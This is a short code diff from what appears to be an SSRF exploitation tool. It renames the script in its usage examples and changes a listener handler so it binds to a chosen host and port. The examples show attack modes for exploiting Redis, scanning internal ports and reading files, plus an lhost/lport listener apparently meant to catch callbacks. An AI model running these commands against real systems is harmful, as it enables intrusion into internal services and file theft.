|
24 | 24 | banner() |
25 | 25 |
|
26 | 26 | example_text = '''Example: |
27 | | -python3 ssrf-exploit.py -u https://example.com/ |
28 | | -python3 ssrf-exploit.py -u https://example.com/ -m redis |
29 | | -python3 ssrf-exploit.py -u https://example.com/ -m portscan |
30 | | -python3 ssrf-exploit.py -u https://example.com/ -m readfiles --rfile |
31 | | -python3 ssrf-exploit.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent" |
32 | | -python3 ssrf-exploit.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080 |
33 | | -python3 ssrf-exploit.py -d data/request.txt -u https://example.com/ -m redis |
| 27 | +python3 ssrf-exploition.py -u https://example.com/ |
| 28 | +python3 ssrf-exploition.py -u https://example.com/ -m redis |
| 29 | +python3 ssrf-exploition.py -u https://example.com/ -m portscan |
| 30 | +python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile |
| 31 | +python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent" |
| 32 | +python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080 |
| 33 | +python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis |
34 | 34 |
|
35 | 35 | ''' |
36 | 36 | parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter) |
|
80 | 80 |
|
81 | 81 | class Handler(threading.Thread): |
82 | 82 |
|
83 | | - def __init__(self, port): |
| 83 | + def __init__(self, host, port): |
84 | 84 | threading.Thread.__init__(self) |
85 | | - logging.info(f"Handler listening on 0.0.0.0:{port}") |
| 85 | + logging.info(f"Handler listening on {host}:{port}") |
86 | 86 | self.connected = False |
87 | 87 | self.port = int(port) |
| 88 | + self.host = str(host) |
88 | 89 |
|
89 | 90 | def run(self): |
90 | 91 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
91 | | - self.socket.bind(('', self.port)) |
| 92 | + self.socket.bind((self.host, self.port)) |
92 | 93 |
|
93 | 94 | while True: |
94 | 95 | self.socket.listen(5) |
|
0 commit comments